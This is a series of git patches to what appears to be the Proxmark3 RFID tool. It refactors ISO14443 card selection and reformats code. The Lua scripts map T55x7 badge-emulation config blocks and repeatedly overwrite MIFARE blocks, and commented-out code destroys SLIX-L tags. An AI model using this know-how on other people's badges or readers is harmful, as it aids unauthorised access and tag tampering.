CmdHF14BNdefRead(const char *Cmd); int exchange_14b_apdu(uint8_t *datain, int datainlen, bool activate_field, bool leave_signal_on, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, int user_timeout); +int select_card_14443b_4(bool disconnect, iso14b_card_select_t *card); int infoHF14B(bool verbose, bool do_aid_search); int readHF14B(bool loop, bool verbose); diff --git a/client/src/cmdhfmfdes.c b/client/src/cmdhfmfdes.c index 9755c915e..ae0d7f2c4 100644 --- a/client/src/cmdhfmfdes.c +++ b/client/src/cmdhfmfdes.c @@ -3613,7 +3613,7 @@ static int CmdHF14ADesInfo(const char *Cmd) { iso14a_card_select_t card; - res = SelectCard14443_4(true, &card); + res = SelectCard14443A_4(true, &card); if (res == PM3_SUCCESS) { static const char STANDALONE_DESFIRE[] = { 0x75, 0x77, 0x81, 0x02}; static const char JCOP_DESFIRE[] = { 0x75, 0xf7, 0xb1, 0x02 }; diff --git a/client/src/iso7816/iso7816core.c b/client/src/iso7816/iso7816core.c index 707caabc1..fae43b9dd 100644 --- a/client/src/iso7816/iso7816core.c +++ b/client/src/iso7816/iso7816core.c @@ -50,39 +50,22 @@ int Iso7816Connect(Iso7816CommandChannel channel) { return PM3_ENOTIMPL; } // Try to 14a - SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT | ISO14A_NO_DISCONNECT, 0, 0, NULL, 0); - PacketResponseNG resp; - bool failed_14a = false; - if (WaitForResponseTimeout(CMD_ACK, &resp, 2000) == false) { - DropField(); - failed_14a = true; - } - - if ((!failed_14a) && resp.oldarg[0] != 0) { + // select with no disconnect and set frameLength + int selres = SelectCard14443A_4(false, NULL); + if (selres == PM3_SUCCESS) { SetISODEPState(ISODEP_NFCA); return PM3_SUCCESS; } PrintAndLogEx(DEBUG, "No 14a tag spotted, trying 14b"); // If not 14a, try to 14b - iso14b_raw_cmd_t packet = { - .flags = (ISO14B_CONNECT | ISO14B_SELECT_STD), - .timeout = 0, - .rawlen = 0, - }; - clearCommandBuffer(); - SendCommandNG(CMD_HF_ISO14443B_COMMAND, (uint8_t *)&packet, sizeof(iso14b_raw_cmd_t)); - if (WaitForResponseTimeout(CMD_HF_ISO14443B_COMMAND, &resp, 2000) == false) { - PrintAndLogEx(DEBUG, "Timeout, no 14b tag spotted, exiting"); - return PM3_ETIMEOUT; + selres = select_card_14443b_4(false, NULL); + if (selres == PM3_SUCCESS) { + SetISODEPState(ISODEP_NFCB); + return PM3_SUCCESS; } - - if (resp.oldarg[0] != 0) { - PrintAndLogEx(DEBUG, "No 14b tag spotted, failed to find any tag."); - return PM3_ENODATA; - } - SetISODEPState(ISODEP_NFCB); - return PM3_SUCCESS; + PrintAndLogEx(DEBUG, "No 14b tag spotted, failed to find any tag."); + return selres; } int Iso7816ExchangeEx(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, sAPDU apdu, bool includeLe, uint16_t Le, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { From 1f27be076bb8d0fd2651596fc53c514b65cb713e Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Fri, 4 Jun 2021 21:56:47 +0200 Subject: [PATCH 14/77] make miscchecks --- armsrc/hitag2.c | 8 +- armsrc/iso15693.c | 86 +++--- client/luascripts/hf_legic.lua | 2 +- client/luascripts/lf_ident_json.lua | 256 +++++++++--------- client/luascripts/mfc_hammerlite.lua | 14 +- client/src/pm3_luawrap.c | 62 ++--- client/src/pm3_pywrap.c | 86 +++--- client/src/proxmark3.c | 22 +- doc/jooki_notes.md | 4 +- .../common/OpenCL-Headers/CL/cl_gl_ext.h | 2 +- .../crack5opencl/ht2crack5opencl.c | 4 +- tools/hitag2crack/crack5opencl/opencl.h | 2 +- 12 files changed, 274 insertions(+), 274 deletions(-) diff --git a/armsrc/hitag2.c b/armsrc/hitag2.c index 8cafdba7a..063ed6c07 100644 --- a/armsrc/hitag2.c +++ b/armsrc/hitag2.c @@ -1199,9 +1199,9 @@ void SniffHitag2(void) { LED_B_ON(); // Capture reader frame if (ra >= HITAG_T_STOP) { -// if (rxlen != 0) { +// if (rxlen != 0) { //DbpString("wierd0?"); -// } +// } // Capture the T0 periods that have passed since last communication or field drop (reset) response = (ra - HITAG_T_LOW); } else if (ra >= HITAG_T_1_MIN) { @@ -1218,9 +1218,9 @@ void SniffHitag2(void) { LED_C_ON(); // Capture tag frame (manchester decoding using only falling edges) if (ra >= HITAG_T_EOF) { -// if (rxlen != 0) { +// if (rxlen != 0) { //DbpString("wierd1?"); -// } +// } // Capture the T0 periods that have passed since last communication or field drop (reset) // We always recieve a 'one' first, which has the falling edge after a half period |-_| response = ra - HITAG_T_TAG_HALF_PERIOD; diff --git a/armsrc/iso15693.c b/armsrc/iso15693.c index 4d292d70c..4fb606141 100644 --- a/armsrc/iso15693.c +++ b/armsrc/iso15693.c @@ -2162,66 +2162,66 @@ static uint32_t set_pass_15693_slixl(uint32_t start_time, uint32_t *eof_time, ui /* static uint32_t enable_privacy_15693_slixl(uint32_t start_time, uint32_t *eof_time, uint8_t *uid, uint8_t pass_id, uint8_t *password) { - uint8_t rnd[2]; + uint8_t rnd[2]; if (get_rnd_15693_slixl(start_time, eof_time, rnd) == false) { - return PM3_ETIMEOUT; - } + return PM3_ETIMEOUT; + } - uint8_t c[] = {ISO15_REQ_DATARATE_HIGH | ISO15_REQ_ADDRESS, ISO15693_ENABLE_PRIVACY, pass_id, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; - memcpy(&c[3], uid, 8); - init_password_15693_slixl(&c[11], password, rnd); - AddCrc15(c, 15); + uint8_t c[] = {ISO15_REQ_DATARATE_HIGH | ISO15_REQ_ADDRESS, ISO15693_ENABLE_PRIVACY, pass_id, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + memcpy(&c[3], uid, 8); + init_password_15693_slixl(&c[11], password, rnd); + AddCrc15(c, 15); - start_time = *eof_time + DELAY_ISO15693_VICC_TO_VCD_READER; - uint8_t recvbuf[ISO15693_MAX_RESPONSE_LENGTH]; - int recvlen = SendDataTag(c, sizeof(c), false, true, recvbuf, sizeof(recvbuf), start_time, ISO15693_READER_TIMEOUT_WRITE, eof_time); - if (recvlen != 3) { - return PM3_EWRONGANSWER; - } - return PM3_SUCCESS; + start_time = *eof_time + DELAY_ISO15693_VICC_TO_VCD_READER; + uint8_t recvbuf[ISO15693_MAX_RESPONSE_LENGTH]; + int recvlen = SendDataTag(c, sizeof(c), false, true, recvbuf, sizeof(recvbuf), start_time, ISO15693_READER_TIMEOUT_WRITE, eof_time); + if (recvlen != 3) { + return PM3_EWRONGANSWER; + } + return PM3_SUCCESS; } static uint32_t write_password_15693_slixl(uint32_t start_time, uint32_t *eof_time, uint8_t *uid, uint8_t pass_id, uint8_t *password) { - uint8_t rnd[2]; + uint8_t rnd[2]; if (get_rnd_15693_slixl(start_time, eof_time, rnd) == false) { - return PM3_ETIMEOUT; - } + return PM3_ETIMEOUT; + } - uint8_t c[] = {ISO15_REQ_DATARATE_HIGH | ISO15_REQ_ADDRESS, ISO15693_WRITE_PASSWORD, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; - memcpy(&c[3], uid, 8); - c[11] = pass_id; - init_password_15693_slixl(&c[12], password, NULL); - AddCrc15(c, 16); + uint8_t c[] = {ISO15_REQ_DATARATE_HIGH | ISO15_REQ_ADDRESS, ISO15693_WRITE_PASSWORD, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + memcpy(&c[3], uid, 8); + c[11] = pass_id; + init_password_15693_slixl(&c[12], password, NULL); + AddCrc15(c, 16); - start_time = *eof_time + DELAY_ISO15693_VICC_TO_VCD_READER; + start_time = *eof_time + DELAY_ISO15693_VICC_TO_VCD_READER; - uint8_t recvbuf[ISO15693_MAX_RESPONSE_LENGTH]; - int recvlen = SendDataTag(c, sizeof(c), false, true, recvbuf, sizeof(recvbuf), start_time, ISO15693_READER_TIMEOUT_WRITE, eof_time); - if (recvlen != 3) { - return PM3_EWRONGANSWER; - } - return PM3_SUCCESS; + uint8_t recvbuf[ISO15693_MAX_RESPONSE_LENGTH]; + int recvlen = SendDataTag(c, sizeof(c), false, true, recvbuf, sizeof(recvbuf), start_time, ISO15693_READER_TIMEOUT_WRITE, eof_time); + if (recvlen != 3) { + return PM3_EWRONGANSWER; + } + return PM3_SUCCESS; } static uint32_t destroy_15693_slixl(uint32_t start_time, uint32_t *eof_time, uint8_t *uid, uint8_t *password) { - uint8_t rnd[2]; + uint8_t rnd[2]; if (get_rnd_15693_slixl(start_time, eof_time, rnd) == false) { - return PM3_ETIMEOUT; - } + return PM3_ETIMEOUT; + } - uint8_t c[] = {ISO15_REQ_DATARATE_HIGH | ISO15_REQ_ADDRESS, ISO15693_DESTROY, ISO15693_ENABLE_PRIVACY, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; - memcpy(&c[3], uid, 8); - init_password_15693_slixl(&c[11], password, rnd); - AddCrc15(c, 15); + uint8_t c[] = {ISO15_REQ_DATARATE_HIGH | ISO15_REQ_ADDRESS, ISO15693_DESTROY, ISO15693_ENABLE_PRIVACY, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + memcpy(&c[3], uid, 8); + init_password_15693_slixl(&c[11], password, rnd); + AddCrc15(c, 15); - start_time = *eof_time + DELAY_ISO15693_VICC_TO_VCD_READER; - uint8_t recvbuf[ISO15693_MAX_RESPONSE_LENGTH]; - int recvlen = SendDataTag(c, sizeof(c), false, true, recvbuf, sizeof(recvbuf), start_time, ISO15693_READER_TIMEOUT_WRITE, eof_time); - if (recvlen != 3) { - return PM3_EWRONGANSWER; - } - return PM3_SUCCESS; + start_time = *eof_time + DELAY_ISO15693_VICC_TO_VCD_READER; + uint8_t recvbuf[ISO15693_MAX_RESPONSE_LENGTH]; + int recvlen = SendDataTag(c, sizeof(c), false, true, recvbuf, sizeof(recvbuf), start_time, ISO15693_READER_TIMEOUT_WRITE, eof_time); + if (recvlen != 3) { + return PM3_EWRONGANSWER; + } + return PM3_SUCCESS; } */ diff --git a/client/luascripts/hf_legic.lua b/client/luascripts/hf_legic.lua index ca06ae8c5..663f193a3 100644 --- a/client/luascripts/hf_legic.lua +++ b/client/luascripts/hf_legic.lua @@ -713,7 +713,7 @@ function getRandomTempName() local keyLength = 8 local output = "" - for i = 1, keyLength do + for i = 1, keyLength do local rand = math.random(#characterSet) output = output .. string.sub(characterSet, rand, rand) end diff --git a/client/luascripts/lf_ident_json.lua b/client/luascripts/lf_ident_json.lua index 243799115..fb0d82554 100644 --- a/client/luascripts/lf_ident_json.lua +++ b/client/luascripts/lf_ident_json.lua @@ -34,16 +34,16 @@ end --- -- A debug printout-function local function dbg(args) - if not DEBUG then return end + if not DEBUG then return end if type(args) == 'table' then - local i = 1 + local i = 1 while args[i] do dbg(args[i]) - i = i+1 - end - else + i = i+1 + end + else print('###', args) - end + end end --- -- This is only meant to be used when errors occur @@ -58,13 +58,13 @@ local function help() print(copyright) print(author) print(version) - print(desc) + print(desc) print(ac.cyan..'Usage'..ac.reset) print(usage) print(ac.cyan..'Arguments'..ac.reset) print(arguments) print(ac.cyan..'Example usage'..ac.reset) - print(example) + print(example) end --- -- Exit message @@ -79,130 +79,130 @@ end -- -- @param input the file containing the json-dump (defaults to dumpdata.json) local function load_json(input) - input = input or 'dumpdata.json' - local infile = io.open(input, "rb") - if not infile then return oops(string.format("Could not read file %s", tostring(input))) end + input = input or 'dumpdata.json' + local infile = io.open(input, "rb") + if not infile then return oops(string.format("Could not read file %s", tostring(input))) end - -- Read file - local t = infile:read("*all") - io.close(infile) + -- Read file + local t = infile:read("*all") + io.close(infile) - local obj, pos, err = json.decode(t, 1, nil) - if err then return oops(string.format("importing json file failed. %s", err)) end + local obj, pos, err = json.decode(t, 1, nil) + if err then return oops(string.format("importing json file failed. %s", err)) end - print(string.format('loaded file %s', input)) - return obj + print(string.format('loaded file %s', input)) + return obj end -- -- Save local function save_json(data, filename) - filename = filename or 'dumpdata.json' - local outfile = io.open(filename, "w") - if not outfile then return oops(string.format("Could not write to file %s", tostring(filename))) end - outfile:write(data) - io.close(outfile) - return filename + filename = filename or 'dumpdata.json' + local outfile = io.open(filename, "w") + if not outfile then return oops(string.format("Could not write to file %s", tostring(filename))) end + outfile:write(data) + io.close(outfile) + return filename end local function encode(blocks) - return json.encode (blocks, { indent = true }) + return json.encode (blocks, { indent = true }) end -- -- map config blocks local function getDefault(block0) - block0 = block0:upper() + block0 = block0:upper() - local T55X7_DEFAULT_CONFIG_BLOCK = '000880E8' --// compat mode, RF/32, manchester, STT, 7 data blocks - local T55X7_RAW_CONFIG_BLOCK = '000880E0' --// compat mode, RF/32, manchester, 7 data blocks - local T55X7_EM_UNIQUE_CONFIG_BLOCK = '00148040' --// emulate em4x02/unique - compat mode, manchester, RF/64, 2 data blocks - -- FDXB requires data inversion and BiPhase 57 is simply BipHase 50 inverted, so we can either do it using the modulation scheme or the inversion flag - -- we've done both below to prove that it works either way, and the modulation value for BiPhase 50 in the Atmel data sheet of binary "10001" (17) is a typo, - -- and it should actually be "10000" (16) - --local T55X7_FDXB_CONFIG_BLOCK 903F8080 // emulate fdx-b - xtended mode, biPhase ('57), RF/32, 4 data blocks - local T55X7_FDXB_CONFIG_BLOCK = '903F0082' --// emulate fdx-b - xtended mode, biPhase ('50), invert data, RF/32, 4 data blocks - local T55X7_HID_26_CONFIG_BLOCK = '00107060' --// hid 26 bit - compat mode, FSK2a, RF/50, 3 data blocks - local T55X7_PYRAMID_CONFIG_BLOCK = '00107080' --// Pyramid 26 bit - compat mode, FSK2a, RF/50, 4 data blocks - local T55X7_INDALA_64_CONFIG_BLOCK = '00081040' --// emulate indala 64 bit - compat mode, PSK1, psk carrier FC * 2, RF/32, 2 data block - local T55X7_INDALA_224_CONFIG_BLOCK = '000810E0' --// emulate indala 224 bit - compat mode, PSK1, psk carrier FC * 2, RF/32, 7 data block - local T55X7_GUARDPROXII_CONFIG_BLOCK = '00150060' --// Direct modulation, Biphase, RF/64, 3 data blocks - local T55X7_VIKING_CONFIG_BLOCK = '00088040' --// compat mode, manchester, RF/32, 2 data blocks - local T55X7_NORALYS_CONFIG_BLOCK = '00088C6A' --// NORALYS (KCP3000) -- compat mode, manchester, inverse, RF/32, STT, 3 data blocks - local T55X7_IOPROX_CONFIG_BLOCK = '00147040' --// HID FSK2a, RF/64, 2 data blocks - local T55X7_PRESCO_CONFIG_BLOCK = '00088088' --// manchester, RF/32, STT, 5 data blocks - local T5555_DEFAULT_CONFIG_BLOCK = '6001F004' --// ask, manchester, RF/64, 2 data blocks? - local T55X7_STARPROX = '00088C42' --// manchester, inverse, RF/32, 2 data blocks - local T55X7_VISA2K_CONFIG_BLOCK = '00148068' --// VISA2000 - manchester, RF/64, STT, 3 data blocks - local T55X7_SECURAKEY_CONFIG_BLOCK = 'F00C8060' --// Securakey - manchester, RF/40, 3 data blocks - local T55X7_ST = 'F0088058' --// manchester, RF/32, STT, pwd, 2 data blocks + local T55X7_DEFAULT_CONFIG_BLOCK = '000880E8' --// compat mode, RF/32, manchester, STT, 7 data blocks + local T55X7_RAW_CONFIG_BLOCK = '000880E0' --// compat mode, RF/32, manchester, 7 data blocks + local T55X7_EM_UNIQUE_CONFIG_BLOCK = '00148040' --// emulate em4x02/unique - compat mode, manchester, RF/64, 2 data blocks + -- FDXB requires data inversion and BiPhase 57 is simply BipHase 50 inverted, so we can either do it using the modulation scheme or the inversion flag + -- we've done both below to prove that it works either way, and the modulation value for BiPhase 50 in the Atmel data sheet of binary "10001" (17) is a typo, + -- and it should actually be "10000" (16) + --local T55X7_FDXB_CONFIG_BLOCK 903F8080 // emulate fdx-b - xtended mode, biPhase ('57), RF/32, 4 data blocks + local T55X7_FDXB_CONFIG_BLOCK = '903F0082' --// emulate fdx-b - xtended mode, biPhase ('50), invert data, RF/32, 4 data blocks + local T55X7_HID_26_CONFIG_BLOCK = '00107060' --// hid 26 bit - compat mode, FSK2a, RF/50, 3 data blocks + local T55X7_PYRAMID_CONFIG_BLOCK = '00107080' --// Pyramid 26 bit - compat mode, FSK2a, RF/50, 4 data blocks + local T55X7_INDALA_64_CONFIG_BLOCK = '00081040' --// emulate indala 64 bit - compat mode, PSK1, psk carrier FC * 2, RF/32, 2 data block + local T55X7_INDALA_224_CONFIG_BLOCK = '000810E0' --// emulate indala 224 bit - compat mode, PSK1, psk carrier FC * 2, RF/32, 7 data block + local T55X7_GUARDPROXII_CONFIG_BLOCK = '00150060' --// Direct modulation, Biphase, RF/64, 3 data blocks + local T55X7_VIKING_CONFIG_BLOCK = '00088040' --// compat mode, manchester, RF/32, 2 data blocks + local T55X7_NORALYS_CONFIG_BLOCK = '00088C6A' --// NORALYS (KCP3000) -- compat mode, manchester, inverse, RF/32, STT, 3 data blocks + local T55X7_IOPROX_CONFIG_BLOCK = '00147040' --// HID FSK2a, RF/64, 2 data blocks + local T55X7_PRESCO_CONFIG_BLOCK = '00088088' --// manchester, RF/32, STT, 5 data blocks + local T5555_DEFAULT_CONFIG_BLOCK = '6001F004' --// ask, manchester, RF/64, 2 data blocks? + local T55X7_STARPROX = '00088C42' --// manchester, inverse, RF/32, 2 data blocks + local T55X7_VISA2K_CONFIG_BLOCK = '00148068' --// VISA2000 - manchester, RF/64, STT, 3 data blocks + local T55X7_SECURAKEY_CONFIG_BLOCK = 'F00C8060' --// Securakey - manchester, RF/40, 3 data blocks + local T55X7_ST = 'F0088058' --// manchester, RF/32, STT, pwd, 2 data blocks - if block0 == T55X7_DEFAULT_CONFIG_BLOCK then return 'T55X7_DEFAULT_CONFIG_BLOCK :: compat mode, manchester, RF/32, STT, 7 data blocks' - elseif block0 == T55X7_RAW_CONFIG_BLOCK then return 'T55X7_RAW_CONFIG_BLOCK :: compat mode, manchester, RF/32, 7 data blocks' - elseif block0 == T55X7_EM_UNIQUE_CONFIG_BLOCK then return 'T55X7_EM_UNIQUE_CONFIG_BLOCK :: emulate em4x02/unique - compat mode, manchester, RF/64, 2 data blocks' - elseif block0 == T55X7_FDXB_CONFIG_BLOCK then return 'T55X7_FDXB_CONFIG_BLOCK :: emulate fdx-b - xtended mode, BiPhase (50, invert data, RF/32, 4 data blocks' - elseif block0 == T55X7_PYRAMID_CONFIG_BLOCK then return 'T55X7_PYRAMID_CONFIG_BLOCK :: Pyramid 26 bit - compat mode, FSK2a, RF/50, 4 data blocks' - elseif block0 == T55X7_HID_26_CONFIG_BLOCK then return 'T55X7_HID_26_CONFIG_BLOCK :: hid 26 bit - compat mode, FSK2a, RF/50, 3 data blocks' - elseif block0 == T55X7_INDALA_64_CONFIG_BLOCK then return 'T55X7_INDALA_64_CONFIG_BLOCK :: emulate indala 64 bit - compat mode, PSK1, psk carrier FC * 2, RF/32, 2 data blocks' - elseif block0 == T55X7_INDALA_224_CONFIG_BLOCK then return 'T55X7_INDALA_224_CONFIG_BLOCK :: emulate indala 224 bit - compat mode, PSK1, psk carrier FC * 2, RF/32, 7 data blocks' - elseif block0 == T55X7_GUARDPROXII_CONFIG_BLOCK then return 'T55X7_GUARDPROXII_CONFIG_BLOCK :: biphase, direct modulation, RF/64, 3 data blocks' - elseif block0 == T55X7_VIKING_CONFIG_BLOCK then return 'T55X7_VIKING_CONFIG_BLOCK :: compat mode, manchester, RF/32, 2 data blocks' - elseif block0 == T55X7_NORALYS_CONFIG_BLOCK then return 'T55X7_NORALYS_CONFIG_BLOCK :: NORALYS (KCP3000) -- compat mode, manchester, inverse, RF/32, STT, 3 data blocks' - elseif block0 == T55X7_IOPROX_CONFIG_BLOCK then return 'T55X7_IOPROX_CONFIG_BLOCK :: HID FSK2a, RF/64, 2 data blocks' - elseif block0 == T55X7_PRESCO_CONFIG_BLOCK then return 'T55X7_PRESCO_CONFIG_BLOCK :: manchester, RF/32, STT, 5 data blocks' - elseif block0 == T5555_DEFAULT_CONFIG_BLOCK then return 'T5555_DEFAULT_CONFIG_BLOCK :: ask, manchester, RF/64, 2 data blocks?' - elseif block0 == T55X7_STARPROX then return 'T55X7_STARPROX :: manchester, inverse, RF/32, 2 data blocks' - elseif block0 == T55X7_VISA2K_CONFIG_BLOCK then return 'T55X7_VISA2K_CONFIG_BLOCK :: manchester, RF/64, STT, 3 data blocks' - elseif block0 == T55X7_SECURAKEY_CONFIG_BLOCK then return 'T55X7_SECURAKEY_CONFIG_BLOCK :: manchester, RF/40, 3 data blocks' - else return 'unknown configblock'..' '..block0 - end + if block0 == T55X7_DEFAULT_CONFIG_BLOCK then return 'T55X7_DEFAULT_CONFIG_BLOCK :: compat mode, manchester, RF/32, STT, 7 data blocks' + elseif block0 == T55X7_RAW_CONFIG_BLOCK then return 'T55X7_RAW_CONFIG_BLOCK :: compat mode, manchester, RF/32, 7 data blocks' + elseif block0 == T55X7_EM_UNIQUE_CONFIG_BLOCK then return 'T55X7_EM_UNIQUE_CONFIG_BLOCK :: emulate em4x02/unique - compat mode, manchester, RF/64, 2 data blocks' + elseif block0 == T55X7_FDXB_CONFIG_BLOCK then return 'T55X7_FDXB_CONFIG_BLOCK :: emulate fdx-b - xtended mode, BiPhase (50, invert data, RF/32, 4 data blocks' + elseif block0 == T55X7_PYRAMID_CONFIG_BLOCK then return 'T55X7_PYRAMID_CONFIG_BLOCK :: Pyramid 26 bit - compat mode, FSK2a, RF/50, 4 data blocks' + elseif block0 == T55X7_HID_26_CONFIG_BLOCK then return 'T55X7_HID_26_CONFIG_BLOCK :: hid 26 bit - compat mode, FSK2a, RF/50, 3 data blocks' + elseif block0 == T55X7_INDALA_64_CONFIG_BLOCK then return 'T55X7_INDALA_64_CONFIG_BLOCK :: emulate indala 64 bit - compat mode, PSK1, psk carrier FC * 2, RF/32, 2 data blocks' + elseif block0 == T55X7_INDALA_224_CONFIG_BLOCK then return 'T55X7_INDALA_224_CONFIG_BLOCK :: emulate indala 224 bit - compat mode, PSK1, psk carrier FC * 2, RF/32, 7 data blocks' + elseif block0 == T55X7_GUARDPROXII_CONFIG_BLOCK then return 'T55X7_GUARDPROXII_CONFIG_BLOCK :: biphase, direct modulation, RF/64, 3 data blocks' + elseif block0 == T55X7_VIKING_CONFIG_BLOCK then return 'T55X7_VIKING_CONFIG_BLOCK :: compat mode, manchester, RF/32, 2 data blocks' + elseif block0 == T55X7_NORALYS_CONFIG_BLOCK then return 'T55X7_NORALYS_CONFIG_BLOCK :: NORALYS (KCP3000) -- compat mode, manchester, inverse, RF/32, STT, 3 data blocks' + elseif block0 == T55X7_IOPROX_CONFIG_BLOCK then return 'T55X7_IOPROX_CONFIG_BLOCK :: HID FSK2a, RF/64, 2 data blocks' + elseif block0 == T55X7_PRESCO_CONFIG_BLOCK then return 'T55X7_PRESCO_CONFIG_BLOCK :: manchester, RF/32, STT, 5 data blocks' + elseif block0 == T5555_DEFAULT_CONFIG_BLOCK then return 'T5555_DEFAULT_CONFIG_BLOCK :: ask, manchester, RF/64, 2 data blocks?' + elseif block0 == T55X7_STARPROX then return 'T55X7_STARPROX :: manchester, inverse, RF/32, 2 data blocks' + elseif block0 == T55X7_VISA2K_CONFIG_BLOCK then return 'T55X7_VISA2K_CONFIG_BLOCK :: manchester, RF/64, STT, 3 data blocks' + elseif block0 == T55X7_SECURAKEY_CONFIG_BLOCK then return 'T55X7_SECURAKEY_CONFIG_BLOCK :: manchester, RF/40, 3 data blocks' + else return 'unknown configblock'..' '..block0 + end end -- -- map first block0 with name local function getConfigBlock(block) - block = block:lower() + block = block:lower() local result = nil if block:startswith("f20000") then - return '00088C42', 'Card is a Viking / Starprox' - end - if block:startswith('9522') then - return '00088048', 'Card is an unknown badge' - end - if block:startswith('56495332') then - return '00148068', 'Card is VISA2000' - end - if block:startswith('1d555955') then - return '00107060', 'Card is HID Prox, (Prastel MTAG, sold by ABMatic)' - end - if block:startswith('bb0214ff') or block:startswith('bb0314ff') then - return '00088C6A', 'Card is Noralsy Blue, KCP3000' - end - --#If the block starts with ff8/9/a/b/c - if block:find('^(ff[8-9a-c])') then - dbg('#This is a regular EM 410 tag, using a FF pattern (from FF8 to FFF)') - dbg('#Covering from tag 1 to tag id 9FFFFFFFFF') - return '00148040', 'Old rectangular Noralsy' - end - if block:startswith('011db') then - return '00107060', 'Card is AWID' - end - if block:startswith('f98c7038') then - return '00150060', 'Card is Guard All/ verex' - end - if block:startswith('ffff0000') then - return '00158040', 'Card is Jablotron' - end - if block:startswith('10d00000') then - return '00088088', 'Card is Presco' - end - if block:startswith('00010101') then - return '00107080', 'Card is Pyramid' - end + return '00088C42', 'Card is a Viking / Starprox' + end + if block:startswith('9522') then + return '00088048', 'Card is an unknown badge' + end + if block:startswith('56495332') then + return '00148068', 'Card is VISA2000' + end + if block:startswith('1d555955') then + return '00107060', 'Card is HID Prox, (Prastel MTAG, sold by ABMatic)' + end + if block:startswith('bb0214ff') or block:startswith('bb0314ff') then + return '00088C6A', 'Card is Noralsy Blue, KCP3000' + end + --#If the block starts with ff8/9/a/b/c + if block:find('^(ff[8-9a-c])') then + dbg('#This is a regular EM 410 tag, using a FF pattern (from FF8 to FFF)') + dbg('#Covering from tag 1 to tag id 9FFFFFFFFF') + return '00148040', 'Old rectangular Noralsy' + end + if block:startswith('011db') then + return '00107060', 'Card is AWID' + end + if block:startswith('f98c7038') then + return '00150060', 'Card is Guard All/ verex' + end + if block:startswith('ffff0000') then + return '00158040', 'Card is Jablotron' + end + if block:startswith('10d00000') then + return '00088088', 'Card is Presco' + end + if block:startswith('00010101') then + return '00107080', 'Card is Pyramid' + end - return result, 'unknown tag' + return result, 'unknown tag' end -- @@ -216,34 +216,34 @@ function main(args) if #args == 0 then return help() end - local lines - local out = {} - -- Read the parameters - for o, a in getopt.getopt(args, 'hi:') do - if o == "h" then return help() end - if o == "i" then lines = load_json(a) end - end + local lines + local out = {} + -- Read the parameters + for o, a in getopt.getopt(args, 'hi:') do + if o == "h" then return help() end + if o == "i" then lines = load_json(a) end + end - --for i = 1, #data do - for _,i in pairs(lines) do + --for i = 1, #data do + for _,i in pairs(lines) do - local index = 0 - local one = {} - for ix = 1, #i.data, 8 do - one['blk_'..index] = i.data:sub(ix,ix+7) - index = index + 1 - end + local index = 0 + local one = {} + for ix = 1, #i.data, 8 do + one['blk_'..index] = i.data:sub(ix,ix+7) + index = index + 1 + end - local mconf, msg = getConfigBlock(one["blk_1"]) - one["identification"] = msg - one["config_desc"] = getDefault(one["blk_0"]) + local mconf, msg = getConfigBlock(one["blk_1"]) + one["identification"] = msg + one["config_desc"] = getDefault(one["blk_0"]) - if msg:find('badge') then - print (msg, i.data) - end - table.insert(out, one) - end - save_json( encode(out) , nil) + if msg:find('badge') then + print (msg, i.data) + end + table.insert(out, one) + end + save_json( encode(out) , nil) end main(args) diff --git a/client/luascripts/mfc_hammerlite.lua b/client/luascripts/mfc_hammerlite.lua index 10a528a3d..6ae0da47f 100644 --- a/client/luascripts/mfc_hammerlite.lua +++ b/client/luascripts/mfc_hammerlite.lua @@ -59,20 +59,20 @@ function main(args) for o, a in getopt.getopt(args, 'hw:k:') do if o == 'h' then return help() end if o == 'w' then loopcount = tonumber(a) end - if o == 'k' then key = a end + if o == 'k' then key = a end end starttime = os.time() for i = 1,loopcount,1 do - for a = 1,63,1 - do - if ((a + 1) % 4 ~= 0) and a ~= 0 then -- :) + for a = 1,63,1 + do + if ((a + 1) % 4 ~= 0) and a ~= 0 then -- :) data = randhex(32) - -- core.console('hf mf rdbl --blk '..a..' -k FFFFFFFFFFFF') - core.console('hf mf wrbl --blk '..a..' -k '..key..' -d '..data) - end + -- core.console('hf mf rdbl --blk '..a..' -k FFFFFFFFFFFF') + core.console('hf mf wrbl --blk '..a..' -k '..key..' -d '..data) + end end end diff --git a/client/src/pm3_luawrap.c b/client/src/pm3_luawrap.c index 565fd9d42..0b4cd024b 100644 --- a/client/src/pm3_luawrap.c +++ b/client/src/pm3_luawrap.c @@ -226,7 +226,7 @@ // success code if (SWIG_IsNewObj(res) { ... - delete *ptr; + delete *ptr; } else { ... } @@ -327,32 +327,32 @@ typedef struct swig_type_info *(*swig_dycast_func)(void **); /* Structure to store information on one type */ typedef struct swig_type_info { - const char *name; /* mangled name of this type */ - const char *str; /* human readable name of this type */ - swig_dycast_func dcast; /* dynamic cast function down a hierarchy */ - struct swig_cast_info *cast; /* linked list of types that can cast into this type */ - void *clientdata; /* language specific type data */ - int owndata; /* flag if the structure owns the clientdata */ + const char *name; /* mangled name of this type */ + const char *str; /* human readable name of this type */ + swig_dycast_func dcast; /* dynamic cast function down a hierarchy */ + struct swig_cast_info *cast; /* linked list of types that can cast into this type */ + void *clientdata; /* language specific type data */ + int owndata; /* flag if the structure owns the clientdata */ } swig_type_info; /* Structure to store a type and conversion function used for casting */ typedef struct swig_cast_info { - swig_type_info *type; /* pointer to type that is equivalent to this type */ - swig_converter_func converter; /* function to cast the void pointers */ - struct swig_cast_info *next; /* pointer to next cast in linked list */ - struct swig_cast_info *prev; /* pointer to the previous cast */ + swig_type_info *type; /* pointer to type that is equivalent to this type */ + swig_converter_func converter; /* function to cast the void pointers */ + struct swig_cast_info *next; /* pointer to next cast in linked list */ + struct swig_cast_info *prev; /* pointer to the previous cast */ } swig_cast_info; /* 